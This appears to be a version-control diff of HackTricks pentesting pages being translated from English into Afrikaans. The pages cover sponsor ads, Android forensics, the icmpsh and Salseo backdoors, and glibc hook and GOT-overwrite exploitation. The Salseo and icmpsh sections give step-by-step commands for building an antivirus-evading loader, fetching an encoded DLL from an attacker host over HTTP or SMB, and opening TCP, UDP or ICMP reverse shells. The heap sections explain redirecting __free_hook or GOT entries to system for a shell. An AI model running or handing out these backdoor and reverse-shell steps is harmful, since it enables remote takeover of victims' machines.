d. Niks in hierdie Publieke Lisensie vorm of kan geïnterpreteer word as 'n beperking op, of afstanddoening van, enige voorregte en immuniteite wat van toepassing is op die Lisensiegever of jou, insluitend van die regstelsels van enige jurisdiksie of gesag.
```
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.

View File

@ -21,7 +21,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy waarvan die leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy waarvan die slagspreuk is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
@ -84,7 +84,7 @@ Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bedien
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -121,7 +121,7 @@ Leer die tegnologieë en vaardighede wat nodig is om kwesbaarheid navorsing, pen
[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheid bedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteitskenners Uitsourcing en nog baie meer.
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!

View File

@ -868,3 +868,4 @@
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -6,15 +6,15 @@
Om data van 'n Android-toestel te begin onttrek, moet dit ontgrendel wees. As dit gesluit is, kan jy:
- Kontroleer of die toestel debugging via USB geaktiveer is.
- Kontroleer of die toestel USB-debugging geaktiveer het.
- Soek na 'n moontlike [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
- Probeer met [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
## Data Verkryging
Skep 'n [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) en onttrek dit met [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
Skep 'n [android rugsteun met adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) en onttrek dit met [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
### As root toegang of fisiese verbinding met JTAG-koppelvlak
### As root-toegang of fisiese verbinding met JTAG-koppelvlak
- `cat /proc/partitions` (soek die pad na die flitsgeheue, gewoonlik is die eerste inskrywing _mmcblk0_ en kom ooreen met die hele flitsgeheue).
- `df /data` (Ontdek die blokgrootte van die stelsel).

View File

@ -1,31 +1,25 @@
{{#include ../banners/hacktricks-training.md}}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
Laai die backdoor af van: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side
# Kliëntkant
Execute the script: **run.sh**
**If you get some error, try to change the lines:**
Voer die skrip uit: **run.sh**
**As jy 'n fout kry, probeer om die lyne te verander:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**For:**
**Vir:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Slachtofferkant**
# **Victim Side**
Upload **icmpsh.exe** to the victim and execute:
Laai **icmpsh.exe** op na die slachtoffer en voer uit:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,159 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## Compiling the binaries
## Samevoeg van die binêre
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
Laai die bronkode van die github af en saam te stel **EvilSalsa** en **SalseoLoader**. Jy sal **Visual Studio** geïnstalleer moet hê om die kode saam te stel.
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
Stel daardie projekte saam vir die argitektuur van die Windows-boks waar jy dit gaan gebruik (As die Windows x64 ondersteun, stel dit saam vir daardie argitektuur).
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
Jy kan **die argitektuur kies** binne Visual Studio in die **linker "Build" Tab** in **"Platform Target".**
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
(\*\*As jy nie hierdie opsies kan vind nie, druk op **"Project Tab"** en dan op **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
Dan, bou albei projekte (Build -> Build Solution) (Binne die logs sal die pad van die uitvoerbare verskyn):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor
## Berei die Backdoor voor
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
Eerstens, jy sal die **EvilSalsa.dll.** moet kodeer. Om dit te doen, kan jy die python-skrip **encrypterassembly.py** gebruik of jy kan die projek **EncrypterAssembly** saamstel:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, nou het jy alles wat jy nodig het om al die Salseo goed te voer: die **gecodeerde EvilDalsa.dll** en die **binarie van SalseoLoader.**
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
**Laai die SalseoLoader.exe binarie op die masjien. Hulle behoort nie deur enige AV opgespoor te word nie...**
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
## **Voer die backdoor uit**
## **Execute the backdoor**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
### **Kry 'n TCP reverse shell (aflaai van die gecodeerde dll deur HTTP)**
Onthou om 'n nc te begin as die reverse shell luisteraar en 'n HTTP bediener om die gecodeerde evilsalsa te bedien.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Om 'n UDP omgekeerde skulp te kry (gedownloade kodering dll deur SMB)**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
Onthou om 'n nc as die omgekeerde skulp luisteraar te begin, en 'n SMB-bediener om die gekodeerde evilsalsa (impacket-smbserver) te bedien.
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Kry 'n ICMP omgekeerde skulp (geënkodeerde dll reeds binne die slagoffer)**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disable ICMP Replies:**
**Hierdie keer het jy 'n spesiale hulpmiddel in die kliënt nodig om die omgekeerde skulp te ontvang. Laai af:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Deaktiveer ICMP Antwoorde:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Execute the client:
#### Voer die kliënt uit:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Inside the victim, lets execute the salseo thing:
#### Binne die slagoffer, kom ons voer die salseo ding uit:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Samevoeging van SalseoLoader as DLL wat hooffunksie uitvoer
## Compiling SalseoLoader as DLL exporting main function
Maak die SalseoLoader-projek oop met Visual Studio.
Open the SalseoLoader project using Visual Studio.
### Add before the main function: \[DllExport]
### Voeg voor die hooffunksie by: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Install DllExport for this project
### Installeer DllExport vir hierdie projek
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
#### **Gereedskap** --> **NuGet Pakketbestuurder** --> **Bestuur NuGet-pakkette vir Oplossing...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
#### **Soek vir DllExport-pakket (met die Blader-oortjie), en druk Installeer (en aanvaar die pop-up)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
In jou projekmap het die lêers verskyn: **DllExport.bat** en **DllExport_Configure.bat**
### **U**ninstall DllExport
### **U**ninstalleer DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
Druk **Uninstall** (ja, dit is vreemd, maar glo my, dit is nodig)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Exit Visual Studio and execute DllExport_configure**
### **Verlaat Visual Studio en voer DllExport_configure uit**
Just **exit** Visual Studio
Net **verlaat** Visual Studio
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
Gaan dan na jou **SalseoLoader-gids** en **voer DllExport_Configure.bat** uit
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies **System.Runtime.InteropServices** (binne **Namespace vir DllExport**) en druk **Toepas**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Open the project again with visual Studio**
### **Maak die projek weer oop met Visual Studio**
**\[DllExport]** should not be longer marked as error
**\[DllExport]** moet nie langer as 'n fout gemerk wees nie
![](<../images/image (8) (1).png>)
### Build the solution
### Bou die oplossing
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
Kies **Uitsettipe = Klasbiblioteek** (Projek --> SalseoLoader Eienskappe --> Aansoek --> Uitsettipe = Klasbiblioteek)
![](<../images/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
Kies **x64** **platform** (Projek --> SalseoLoader Eienskappe --> Bou --> Platform-teiken = x64)
![](<../images/image (9) (1) (1).png>)
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
Om die oplossing te **bou**: Bou --> Bou Oplossing (Binne die Uitset-konsol sal die pad van die nuwe DLL verskyn)
### Test the generated Dll
### Toets die gegenereerde Dll
Copy and paste the Dll where you want to test it.
Execute:
Kopieer en plak die Dll waar jy dit wil toets.
Voer uit:
```
rundll32.exe SalseoLoader.dll,main
```
As daar geen fout verskyn nie, het jy waarskynlik 'n funksionele DLL!!
If no error appears, probably you have a functional DLL!!
## Kry 'n shell met die DLL
## Get a shell using the DLL
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
Moet nie vergeet om 'n **HTTP** **bediener** te gebruik en 'n **nc** **luisteraar** in te stel nie
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
@ -163,9 +146,7 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,5 +155,4 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer & oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
> <summary>Ondersteun HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

View File

@ -1,3 +1 @@
# Arbitrary Write 2 Exec
# Arbitrêre Skrywe 2 Exec

View File

@ -4,34 +4,32 @@
## **Malloc Hook**
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
Soos jy kan sien op die [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), is die veranderlike **`__malloc_hook`** 'n wysser wat na die **adres van 'n funksie wat aangeroep sal word** wanneer `malloc()` aangeroep word **gestoor in die dataseksie van die libc biblioteek**. Daarom, as hierdie adres oorgeskryf word met 'n **One Gadget** byvoorbeeld en `malloc` aangeroep word, sal die **One Gadget aangeroep word**.
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
Om malloc aan te roep, is dit moontlik om te wag vir die program om dit aan te roep of deur **`printf("%10000$c")` aan te roep** wat te veel bytes toewys, wat maak dat `libc` malloc aanroep om dit in die heap toe te wys.
More info about One Gadget in:
Meer inligting oor One Gadget in:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
> Let daarop dat hooks **deaktiveer is vir GLIBC >= 2.34**. Daar is ander tegnieke wat op moderne GLIBC weergawes gebruik kan word. Sien: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
Dit is misbruik in een van die voorbeelde op die bladsy wat 'n vinnige bin-aanval misbruik na 'n onsorteerde bin-aanval misbruik is:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
Dit is moontlik om die adres van `__free_hook` te vind as die binêre simbole het met die volgende opdrag:
```bash
gef➤ p &__free_hook
```
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
[In die pos](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) kan jy 'n stap-vir-stap gids vind oor hoe om die adres van die free hook sonder simbole te vind. As opsomming, in die free funksie:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx
@ -45,24 +43,24 @@ gef➤ p &__free_hook
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre>
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
In die genoemde breekpunt in die vorige kode sal die adres van die free hook in `$eax` geleë wees.
Now a **fast bin attack** is performed:
Nou word 'n **fast bin aanval** uitgevoer:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- Eerstens word daar ontdek dat dit moontlik is om met fast **chunks van grootte 200** in die **`__free_hook`** ligging te werk:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- As ons daarin slaag om 'n fast chunk van grootte 0x200 in hierdie ligging te kry, sal dit moontlik wees om 'n funksie-aanwyser te oorskry wat uitgevoer sal word.
- Hiervoor word 'n nuwe chunk van grootte `0xfc` geskep en die saamgevoegde funksie word twee keer met daardie aanwyser aangeroep, sodat ons 'n aanwyser na 'n vrygestelde chunk van grootte `0xfc*2 = 0x1f8` in die fast bin verkry.
- Dan word die edit funksie in hierdie chunk aangeroep om die **`fd`** adres van hierdie fast bin te wys na die vorige **`__free_hook`** funksie.
- Dan word 'n chunk van grootte `0x1f8` geskep om die vorige nuttelose chunk uit die fast bin te verkry, sodat 'n ander chunk van grootte `0x1f8` geskep word om 'n fast bin chunk in die **`__free_hook`** te kry wat oorgeskryf word met die adres van die **`system`** funksie.
- En uiteindelik word 'n chunk wat die string `/bin/sh\x00` bevat, vrygestel deur die delete funksie aan te roep, wat die **`__free_hook`** funksie aktiveer wat na system met `/bin/sh\x00` as parameter wys.
## References

View File

@ -2,86 +2,86 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Basiese Inligting**
### **GOT: Global Offset Table**
### **GOT: Globale Offset Tabel**
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
Die **Globale Offset Tabel (GOT)** is 'n meganisme wat in dinamies gekoppelde binêre gebruik word om die **adresse van eksterne funksies** te bestuur. Aangesien hierdie **adresse nie bekend is tot tyd van uitvoering** (as gevolg van dinamiese koppeling), bied die GOT 'n manier om die **adresse van hierdie eksterne simbole dinamies op te dateer** sodra hulle opgelos is.
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
Elke inskrywing in die GOT stem ooreen met 'n simbool in die eksterne biblioteke wat die binêre mag aanroep. Wanneer 'n **funksie vir die eerste keer aangeroep word, word sy werklike adres deur die dinamiese koppelaar opgelos en in die GOT gestoor**. Volgende oproepe na dieselfde funksie gebruik die adres wat in die GOT gestoor is, wat die oorhoofse koste van die adres weer oplos, vermy.
### **PLT: Procedure Linkage Table**
### **PLT: Prosedure Koppeling Tabel**
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
Die **Prosedure Koppeling Tabel (PLT)** werk nou saam met die GOT en dien as 'n trampolien om oproepe na eksterne funksies te hanteer. Wanneer 'n binêre **'n eksterne funksie vir die eerste keer aanroep, word beheer oorgedra na 'n inskrywing in die PLT wat met daardie funksie geassosieer is**. Hierdie PLT-inskrywing is verantwoordelik vir die aanroep van die dinamiese koppelaar om die funksie se adres op te los as dit nog nie opgelos is nie. Nadat die adres opgelos is, word dit in die **GOT** gestoor.
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
**Daarom,** GOT-inskrywings word direk gebruik sodra die adres van 'n eksterne funksie of veranderlike opgelos is. **PLT-inskrywings word gebruik om die aanvanklike resolusie** van hierdie adresse via die dinamiese koppelaar te fasiliteer.
## Get Execution
## Kry Uitvoering
### Check the GOT
### Kontroleer die GOT
Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
Kry die adres na die GOT tabel met: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
Let op hoe jy na **laai** van die **uitvoerbare** in GEF die **funksies** wat in die **GOT** is kan **sien**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
Met GEF kan jy 'n **debugging** sessie **begin** en **`got`** uitvoer om die got tabel te sien:
![](<../../images/image (496).png>)
### GOT2Exec
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
In 'n binêre het die GOT die **adresse na die funksies of** na die **PLT** afdeling wat die funksie adres sal laai. Die doel van hierdie arbitrêre skrywe is om 'n **GOT-inskrywing** van 'n funksie wat later gaan uitgevoer word **te oorskry** met die **adres** van die PLT van die **`system`** **funksie** byvoorbeeld.
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
Ideaal gesproke, sal jy die **GOT** van 'n **funksie** wat **met parameters wat deur jou beheer word** gaan aangeroep word **oorskry** (sodat jy die parameters wat na die stelselfunksie gestuur word, kan beheer).
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
As **`system`** **nie gebruik word** deur die binêre nie, sal die stelselfunksie **nie** 'n inskrywing in die PLT hê nie. In hierdie scenario, sal jy **eers die adres** van die `system` funksie moet lek en dan die GOT oorskry om na hierdie adres te wys.
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
Jy kan die PLT adresse sien met **`objdump -j .plt -d ./vuln_binary`**
## libc GOT entries
## libc GOT inskrywings
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Die **GOT van libc** word gewoonlik saamgecompileer met **gedeeltelike RELRO**, wat dit 'n goeie teiken maak vir hierdie, mits dit moontlik is om sy adres uit te vind ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
Gewone funksies van die libc gaan **ander interne funksies** aanroep waarvan die GOT oorgeskryf kan word om kode-uitvoering te verkry.
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
Vind [**meer inligting oor hierdie tegniek hier**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system**
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
In heap-uitbuiting CTFs is dit algemeen om die inhoud van stukke te kan beheer en op 'n sekere punt selfs die GOT tabel te oorskryf. 'n Eenvoudige truuk om RCE te verkry as een gadgets nie beskikbaar is nie, is om die `free` GOT adres te oorskryf om na `system` te wys en om binne 'n stuk `"/bin/sh"` te skryf. Op hierdie manier, wanneer hierdie stuk vrygestel word, sal dit `system("/bin/sh")` uitvoer.
### **Strlen2system**
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
Nog 'n algemene tegniek is om die **`strlen`** GOT adres te oorskryf om na **`system`** te wys, sodat as hierdie funksie met gebruikersinvoer aangeroep word, dit moontlik is om die string `"/bin/sh"` deur te gee en 'n shell te verkry.
